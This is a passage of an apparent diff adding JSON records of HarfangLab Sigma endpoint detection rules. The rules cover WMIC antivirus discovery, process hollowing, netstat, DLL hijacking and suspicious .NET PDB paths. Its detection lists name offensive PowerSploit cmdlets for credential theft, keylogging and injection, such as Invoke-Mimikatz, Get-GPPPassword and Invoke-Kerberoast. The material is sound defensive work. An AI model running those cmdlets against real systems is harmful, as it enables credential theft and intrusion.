'\\bin\\phpstorm64.exe'\n            - '\\bin\\rider64.exe'\n\n    exclusion_sophos:\n        ParentImage: '?:\\Program Files (x86)\\Sophos\\Sophos Diagnostic Utility\\sdugui.exe'\n\n    exclusion_meshagent:\n        ParentImage: '?:\\Program Files\\Mesh Agent\\MeshAgent.exe'\n        CommandLine: 'wmic /Namespace:\\\\\\\\root\\SecurityCenter2 Path AntiVirusProduct get /FORMAT:CSV'\n\n    exclusion_trendmicro:\n        ParentImage|endswith: '\\SCUT.exe'\n        ProcessParentSignature: 'Trend Micro, Inc.'\n\n    exclusion_fsecure:\n        ProcessParentImage:\n            - '?:\\Program Files\\f-secure\\server security\\diagnostics\\fsdiag.exe'\n            - '?:\\Program Files (x86)\\f-secure\\server security\\diagnostics\\fsdiag.exe'\n            - '?:\\Program Files\\f-secure\\psb\\diagnostics\\fsdiag.exe'\n            - '?:\\Program Files (x86)\\f-secure\\psb\\diagnostics\\fsdiag.exe'\n            - '?:\\Program Files\\f-secure\\client security\\diagnostics\\fsdiag.exe'\n            - '?:\\Program Files (x86)\\f-secure\\client security\\diagnostics\\fsdiag.exe'\n            - '?:\\Program Files\\Withsecure\\policy manager\\diagnostics\\wsdiag.exe'\n            - '?:\\Program Files (x86)\\Withsecure\\policy manager\\diagnostics\\wsdiag.exe'\n\n    # https://rmm.datto.com/help/en/Content/5AGENT/Agent.htm\n    exclusion_datto:\n        GrandparentImage: '?:\\ProgramData\\CentraStage\\AEMAgent\\AEMAgent.exe'\n\n    exclusion_intellij:\n        ParentImage|endswith: '\\intelliJ\\app\\jbr\\bin\\java.exe'\n        ParentCommandLine|contains: '\\intelliJ\\app\\lib\\extensions.jar'\n\n    exclusion_intunes:\n        Ancestors|contains:\n            - '?:\\Program Files\\Microsoft Intune Management Extension\\'\n            - '?:\\Program Files (x86)\\Microsoft Intune Management Extension\\'\n\n    exclusion_simplehelp:\n        ParentImage: '?:\\ProgramData\\JWrapper-Remote Access\\JWrapper-Windows*\\bin\\Remote Access.exe'\n\n    exclusion_papercut:\n        ParentCommandLine|contains: '/value > ?:\\Users\\\\*\\AppData\\Local\\Temp\\is-*.tmp\\antivirus-info.log 2>&1'\n        GrandparentImage: '?:\\Users\\\\*\\AppData\\Local\\Temp\\is-*.tmp\\papercut-hive.tmp'\n\n    exclusion_dataspell:\n        ParentImage|endswith: '\\bin\\dataspell64.exe'\n        ProcessParentSigned: 'true'\n        ProcessParentSignature: 'JetBrains s.r.o.'\n\n    exclusion_screenbeam:\n        GrandparentImage: '?:\\Program Files\\ScreenBeam\\Conference\\app\\SBConfDiag.exe'\n\n    exclusion_eclipse:\n        ParentImage|endswith: '\\eclipse\\eclipse.exe'\n        ProcessParentSigned: 'true'\n        ProcessParentSignature: 'Eclipse.org Foundation, Inc.'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3d4e7e23-3983-42cc-a582-3c2daece8466",
+  "rule_name": "Security Software Product Discovered via WMIC",
+  "rule_description": "Detects the discovery of the main security software product using WMIC.\nAdversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment.\nIt is recommended to analyze WMIC's parent process to look for malicious content or other malicious actions.\n",
+  "rule_creation_date": "2021-04-02",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1518.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3d5a0c6d-0a15-4c37-83e0-d6c7548133f5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.615384Z",
+  "creation_date": "2026-03-23T11:45:34.615387Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.615394Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1055/"
+  ],
+  "name": "t1055_sacrificial_process_aspnet_wp.yml",
+  "content": "title: Aspnet_wp.exe Sacrificial Process Spawned\nid: 3d5a0c6d-0a15-4c37-83e0-d6c7548133f5\ndescription: |\n    Detects the suspicious execution of the legitimate Windows binary aspnet_wp.exe, spawned without arguments and in an abnormal execution context.\n    This can mean that the binary is being used as sacrificial or hollowed process.\n    Such processes are spawned and malicious code is immediately injected into them for nefarious purposes.\n    This technique is used by, for instance, by the Vidar malware.\n    It is recommended to investigate the parent process performing this action and the destination IP address of the aspnet_wp.exe process to determine the legitimacy of this behavior.\nreferences:\n    - https://attack.mitre.org/techniques/T1055/\ndate: 2024/05/13\nmodified: 2025/02/04\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.privilege_escalation\n    - attack.t1055\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.SacrificialProcess\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        CommandLine: '?:\\Windows\\Microsoft.NET\\Framework\\v*\\aspnet_wp.exe'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3d5a0c6d-0a15-4c37-83e0-d6c7548133f5",
+  "rule_name": "Aspnet_wp.exe Sacrificial Process Spawned",
+  "rule_description": "Detects the suspicious execution of the legitimate Windows binary aspnet_wp.exe, spawned without arguments and in an abnormal execution context.\nThis can mean that the binary is being used as sacrificial or hollowed process.\nSuch processes are spawned and malicious code is immediately injected into them for nefarious purposes.\nThis technique is used by, for instance, by the Vidar malware.\nIt is recommended to investigate the parent process performing this action and the destination IP address of the aspnet_wp.exe process to determine the legitimacy of this behavior.\n",
+  "rule_creation_date": "2024-05-13",
+  "rule_modified_date": "2025-02-04",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3d99b108-5ade-42df-b9d6-c4b94dea6e12",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.294466Z",
+  "creation_date": "2026-03-23T11:45:35.294469Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.294476Z",
+  "rule_level": "low",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1049/",
+    "https://attack.mitre.org/software/S0104/"
+  ],
+  "name": "t1049_netstat_macos.yml",
+  "content": "title: Network Statistics Discovered via Netstat (macOS)\nid: 3d99b108-5ade-42df-b9d6-c4b94dea6e12\ndescription: |\n    Detects the execution of the netstat command.\n    Attackers may use it during the discovery phase of an attack to retrieve network connection statistics and gather information on currently active connections.\n    It is recommended to check for other suspicious activities by the parent process and to correlate this alert with any other discovery activity to determine legitimacy.\n    If this activity is recurrent in your environment and legitimate, it is highly recommended to whitelist it.\nreferences:\n    - https://attack.mitre.org/techniques/T1049/\n    - https://attack.mitre.org/software/S0104/\ndate: 2022/11/22\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1049\n    - attack.s0104\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        Image: '/usr/sbin/netstat'\n        CommandLine:\n            - 'netstat'\n            - 'netstat -?'\n            - 'netstat -??'\n            - 'netstat -???'\n        ParentImage|contains: '?'\n        GrandparentImage|contains: '?'\n\n    exclusion_common_folder:\n        - ProcessParentImage|startswith:\n            - '/Applications/*/Contents/Resources/'\n            - '/Applications/*/Contents/MacOS/'\n            - '/Library/Application Support/'\n            - '/opt/homebrew/'\n            - '/Library/PrivilegedHelperTools/'\n        - ProcessParentCommandLine|startswith:\n            - 'bash /Applications/*/Contents/Resources/'\n            - 'bash /Applications/*/Contents/MacOS/'\n        - ProcessGrandparentImage|startswith:\n            - '/Applications/*/Contents/Resources/'\n            - '/Applications/*/Contents/MacOS/'\n            - '/Library/Application Support/'\n            - '/opt/homebrew/'\n            - '/Library/PrivilegedHelperTools/'\n\n    exclusion_parent:\n        - ParentImage:\n            - '/Library/Application Support/LANDesk/bin/ivCSEP'\n            - '/usr/libexec/wifivelocityd'\n            - '/Applications/rekordbox*/rekordbox.app/Contents/MacOS/rekordbox'\n            - '/usr/local/bin/node'\n            - '/Users/*/.nvm/versions/node/v*/bin/node'\n            - '/Users/*/.asdf/installs/nodejs/*/bin/node'\n            - '/Users/*/.local/share/fnm/node-versions/v*/installation/bin/node'\n            - '/Applications/eul.app/Contents/MacOS/eul'\n            - '/Applications/AnyDesk.app/Contents/MacOS/AnyDesk'\n            - '/Library/Application Support/LANDesk/bin/ldiscan'\n            - '/Applications/NinjaRMMAgent/programfiles/ninjarmm-macagent'\n            - '/Applications/Ivanti Secure Access.app/Contents/Plugins/JUNS/dsAccessService'\n            - '/Library/SystemExtensions/????????-????-????-????-????????????/io.tailscale.ipn.macsys.network-extension.systemextension/Contents/MacOS/io.tailscale.ipn.macsys.network-extension'\n            - '/Applications/Tailscale.app/Contents/PlugIns/IPNExtension.appex/Contents/MacOS/IPNExtension'\n        - ParentCommandLine: '/bin/sh /System/Library/Frameworks/SystemConfiguration.framework/Versions/*Resources/get-network-info*'\n\n    exclusion_grandparent:\n        GrandparentImage:\n            - '/Library/Bitdefender/AVP/product/bin/BDLDaemon.app/Contents/MacOS/BDLDaemon'\n            - '/Applications/rekordbox*/rekordbox.app/Contents/MacOS/rekordbox'\n            - '/usr/local/bin/node'\n            - '/Users/*/.nvm/versions/node/v*/bin/node'\n            - '/Users/*/.asdf/installs/nodejs/*/bin/node'\n            - '/Users/*/.local/share/fnm/node-versions/v*/installation/bin/node'\n            - '/Applications/DDPM/DDPM.app/Contents/MacOS/DDPM'\n            - '/usr/libexec/sysdiagnosed'\n            - '/Library/SystemExtensions/*/com.netskope.client.Netskope-Client.NetskopeClientMacAppProxy.systemextension/Contents/MacOS/com.netskope.client.Netskope-Client.NetskopeClientMacAppProxy'\n\n    exclusion_periodic_status_network:\n        ParentCommandLine: '/bin/sh /etc/periodic/daily/420.status-network'\n        CommandLine: 'netstat -i'\n\n    exclusion_wazuh:\n        Ancestors|contains:\n            - '/Library/Ossec/bin/wazuh-syscheckd'\n            - '|/Library/Ossec/bin/wazuh-logcollector'\n\n    exclusion_ocsinventory:\n        ParentCommandLine: '/usr/bin/perl /Applications/OCSNG.app/Contents/Resources/ocsinventory-agent'\n\n    exclusion_meraki:\n        - GrandparentImage: '/Library/Application Support/Meraki/m_agent'\n        # /bin/sh -c netstat -ib | grep -e \"en0\" -m 1 | awk '{print $7\" \"$10}'\n        - ParentCommandLine: \"/bin/sh -c netstat -ib | grep -e \\\"en?\\\" -m 1 | awk '{print $7\\\" \\\"$10}'\"\n\n    # As the parents are missing we don't know which process is doing this actions, but generate a lot of noise\n    exclusion_unknown:\n        ParentCommandLine:\n            - \"sh -c /usr/sbin/netstat -rn -f inet | /usr/bin/egrep -e '^[0-9]+.*|^[a-f]+.*|^[A-F]+.*|^default'\"\n            - \"sh -c /usr/sbin/netstat -rn -f inet? | /usr/bin/egrep -e '^[0-9]+.*|^[a-f]+.*|^[A-F]+.*|^default'\"\n            - 'sh -c netstat -anv | grep [.]54???'\n            - \"/bin/sh -c netstat -rn | grep UG | awk '{print $NF}'\"\n\n    exclusion_glpi:\n        - ParentImage: '/Applications/GLPI-Agent/bin/perl'\n        - GrandparentImage: '/Applications/GLPI-Agent/bin/perl'\n\n    exclusion_delovo:\n        - ParentImage: '/opt/devolo/bin/devolonetsvc'\n        - GrandparentImage: '/opt/devolo/bin/devolonetsvc'\n\n    exclusion_fusion_inventory:\n        - ParentImage: '/opt/fusioninventory-agent/bin/perl'\n        - GrandparentImage: '/opt/fusioninventory-agent/bin/perl'\n\n    exclusion_fsecure:\n        - GrandparentCommandLine: '/bin/bash /usr/local/f-secure/bin/orspwrapper.sh --daas2-data ./orspclient/etc --http-port 0'\n        - CommandLine: 'netstat -nr'\n          CurrentDirectory: '/usr/local/f-secure'\n\n    exclusion_tanium:\n        Ancestors|contains: '|/Library/Tanium/TaniumClient/TaniumClient'\n\n    condition: selection and not 1 of exclusion_*\nlevel: low\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3d99b108-5ade-42df-b9d6-c4b94dea6e12",
+  "rule_name": "Network Statistics Discovered via Netstat (macOS)",
+  "rule_description": "Detects the execution of the netstat command.\nAttackers may use it during the discovery phase of an attack to retrieve network connection statistics and gather information on currently active connections.\nIt is recommended to check for other suspicious activities by the parent process and to correlate this alert with any other discovery activity to determine legitimacy.\nIf this activity is recurrent in your environment and legitimate, it is highly recommended to whitelist it.\n",
+  "rule_creation_date": "2022-11-22",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1049"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3d9c3390-1a0c-4b77-a811-5d2057a4e979",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.608065Z",
+  "creation_date": "2026-03-23T11:45:34.608068Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.608075Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/PowerShellMafia/PowerSploit",
+    "https://attack.mitre.org/techniques/T1059/001/",
+    "https://attack.mitre.org/software/S0194/"
+  ],
+  "name": "t1059_001_powershell_malicious_cmdlet_powersploit_script.yml",
+  "content": "title: Malicious PowerSploit Commandlets\nid: 3d9c3390-1a0c-4b77-a811-5d2057a4e979\ndescription: |\n    Detects various malicious commandlets in PowerShell scripts, generally associated with the Powersploit framework.\n    PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment.\n    It is recommended to investigate the script contents to determine if the function call was part of the malicious framework or a legitimate script and if it stems from legitimate activity.\nreferences:\n    - https://github.com/PowerShellMafia/PowerSploit\n    - https://attack.mitre.org/techniques/T1059/001/\n    - https://attack.mitre.org/software/S0194/\ndate: 2021/06/22\nmodified: 2025/04/10\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1059.001\n    - attack.t1134\n    - attack.collection\n    - attack.t1123\n    - attack.credential_access\n    - attack.t1056.001\n    - attack.t1558.003\n    - attack.execution\n    - attack.t1047\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1547.005\n    - attack.s0194\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Framework.PowerSploit\n    - classification.Windows.Framework.PowerView\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection:\n        PowershellCommand|contains:\n            - 'Set-MacAttribute'\n            - 'Invoke-DllInjection'\n            - 'Invoke-Shellcode'\n            - 'Invoke-WmiCommand'\n            - 'Get-GPPPassword'\n            - 'Get-Keystrokes'\n            - 'Get-TimedScreenshot'\n            - 'Get-VaultCredential'\n            - 'Invoke-CredentialInjection'\n            - 'Invoke-Mimikatz'\n            - 'Invoke-NinjaCopy'\n            - 'Invoke-TokenManipulation'\n            - 'Out-Minidump'\n            - 'Invoke-ReflectivePEInjection'\n            - 'Invoke-DowngradeAccount'\n            - 'Add-RegBackdoor'\n            - 'Install-SSP'\n            - 'PowerBreach'\n            - 'Get-SiteListPassword'\n            - 'Invoke-WScriptBypassUAC'\n            - 'PowerUp'\n            - 'Get-ServiceUnquoted'\n            - 'Get-ServiceFilePermission'\n            - 'Get-ServicePermission'\n            - 'Invoke-ServiceAbuse'\n            - 'Install-ServiceBinary'\n            - 'Find-DLLHijack'\n            - 'Find-PathHijack'\n            - 'Get-RegAlwaysInstallElevated'\n            - 'Get-RegAutoLogon'\n            - 'Get-VulnAutoRun'\n            - 'Get-VulnSchTask'\n            - 'PowerView'\n            - 'Invoke-PortScan'\n            - 'Invoke-ReverseDNSLookup'\n            - 'Invoke-AllChecks'\n            - 'Get-MicrophoneAudio'\n            - 'Invoke-Kerberoast'\n\n    #  if ($SOFTWARENAME -match \"ShinoBOT\" -or $URL -match \"ShinoBOT\") {\n    #         try { '' | out-file ':::::\\windows\\sentinel\\3' -Confirm:$false -WhatIf:$false } catch {}\n    #     }\n    #     $local:counter = 0\n    #     foreach ($item in $($REGISTRYNAMEHOSTID, $REGISTRYNAMEPASSWORD, $IDDELIMITER, $COMMANDSDELIMITER, $HostID, $dojob)) {\n    #         if ($item -ne $null) { $counter += 1 }\n    #     };\n    #     if ($counter -ge 4) {\n    #         try { '' | out-file ':::::\\windows\\sentinel\\3' -Confirm:$false -WhatIf:$false } catch {}\n    #     }\n    #     while ($PreviousErrCount -ne $error.count) {\n    #         $error.remove($error[0])\n    #     }\n    #     Remove-Variable PreviousErrCount -Scope local -Confirm:$false -WhatIf:$false}} | Out-Null\n    # Set-PSBreakpoint -Variable 'IDDELIMITER' -Mode write -Action { <#sentinelbreakpoints#> . {\n    exclusion_sentinel_one:\n        PowershellCommand|contains|all:\n            - ':::::\\windows\\sentinel'\n            - '<#sentinelbreakpoints#>'\n\n    exclusion_techpowerup:\n        PowershellCommand|contains: 'TechPowerUp.'\n\n    # https://www.powershellgallery.com/packages/Carbon/2.9.2/Content/Carbon.psm1\n    exclusion_carbon:\n        PowershellCommand|contains: 'Set-Alias -Name ?Get-ServicePermissions? -Value ?Get-CServicePermission?'\n\n    exclusion_amazon:\n        PowershellCommand: 'function Invoke-WmiCommand('\n        PowershellScriptPath: '?:\\Program Files\\Amazon\\AWS DMS Collector\\PowerShell\\\\*.psm1'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3d9c3390-1a0c-4b77-a811-5d2057a4e979",
+  "rule_name": "Malicious PowerSploit Commandlets",
+  "rule_description": "Detects various malicious commandlets in PowerShell scripts, generally associated with the Powersploit framework.\nPowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment.\nIt is recommended to investigate the script contents to determine if the function call was part of the malicious framework or a legitimate script and if it stems from legitimate activity.\n",
+  "rule_creation_date": "2021-06-22",
+  "rule_modified_date": "2025-04-10",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.credential_access",
+    "attack.defense_evasion",
+    "attack.execution",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1047",
+    "attack.t1056.001",
+    "attack.t1059.001",
+    "attack.t1123",
+    "attack.t1134",
+    "attack.t1547.005",
+    "attack.t1558.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3e1415cf-9a1e-48bf-9548-0d6d2af5a98f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.095998Z",
+  "creation_date": "2026-03-23T11:45:34.096000Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.096004Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_licmgr.yml",
+  "content": "title: DLL Hijacking via licmgr.exe\nid: 3e1415cf-9a1e-48bf-9548-0d6d2af5a98f\ndescription: |\n    Detects potential Windows DLL Hijacking via licmgr.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'licmgr.exe'\n        ImageLoaded|endswith:\n            - '\\credui.dll'\n            - '\\lrwizdll.dll'\n            - '\\ntdsapi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3e1415cf-9a1e-48bf-9548-0d6d2af5a98f",
+  "rule_name": "DLL Hijacking via licmgr.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via licmgr.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3e31fb72-ee20-4a45-96c7-b801ee49e65f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.076559Z",
+  "creation_date": "2026-03-23T11:45:34.076561Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.076565Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1620/"
+  ],
+  "name": "t1620_dotnet_assembly_load_susp_pdb.yml",
+  "content": "title: Dotnet Assembly with Suspicious PDB Path Loaded\nid: 3e31fb72-ee20-4a45-96c7-b801ee49e65f\ndescription: |\n    Detects the loading of .NET assemblies whose PDB path indicates potentially malicious activities.\n    Program Database (PDB) files contain debugging information and file paths that can reveal the original development environment and intent of .NET assemblies.\n    Suspicious PDB paths may include references to offensive tools, exploit frameworks, or development environments associated with malicious activities.\n    It is recommended to analyze the loading process and to investigate the assembly's functionality and origin.\nreferences:\n    - https://attack.mitre.org/techniques/T1620/\ndate: 2024/11/27\nmodified: 2025/06/20\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1620\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.MemoryExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        AssemblyFlags: '0x0'\n        AssemblyToken: 'null'\n        FullyQualifiedAssemblyName|contains:\n            - 'Version=1.0.0.0, Culture=neutral, PublicKeyToken=null'\n            - 'Version=0.0.0.0, Culture=neutral, PublicKeyToken=null'\n        ManagedPdbBuildPath|contains:\n            - 'maldev'\n            - 'malware'\n            - 'backdoor'\n            - 'keylog'\n            - 'shellcode'\n            - 'PrivilegeEscalation'\n            - 'CVE_20'\n            - 'CVE-20'\n            - 'exploit'\n            - 'RedTeam'\n            - 'hack'\n            - 'Attack'\n            - 'UACbypass'\n            - 'loader'\n            - 'webshell'\n            - 'Dropper'\n            - 'grabber'\n            - 'Inject'\n            - 'Payload'\n            - 'trojan'\n            - 'ByPass'\n            - 'spreader'\n            - '    '  # multiple spaces\n\n    # Avoid false positive with loader word used in the detection\n    filter_known_word:\n        # loader\n        ManagedPdbBuildPath: 'uploader'\n\n    filter_known_assembly:\n        AssemblyName: 'easily.exploitation.sql'\n\n    filter_path:\n        ModuleILPath|contains: '\\'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "3e31fb72-ee20-4a45-96c7-b801ee49e65f",
+  "rule_name": "Dotnet Assembly with Suspicious PDB Path Loaded",
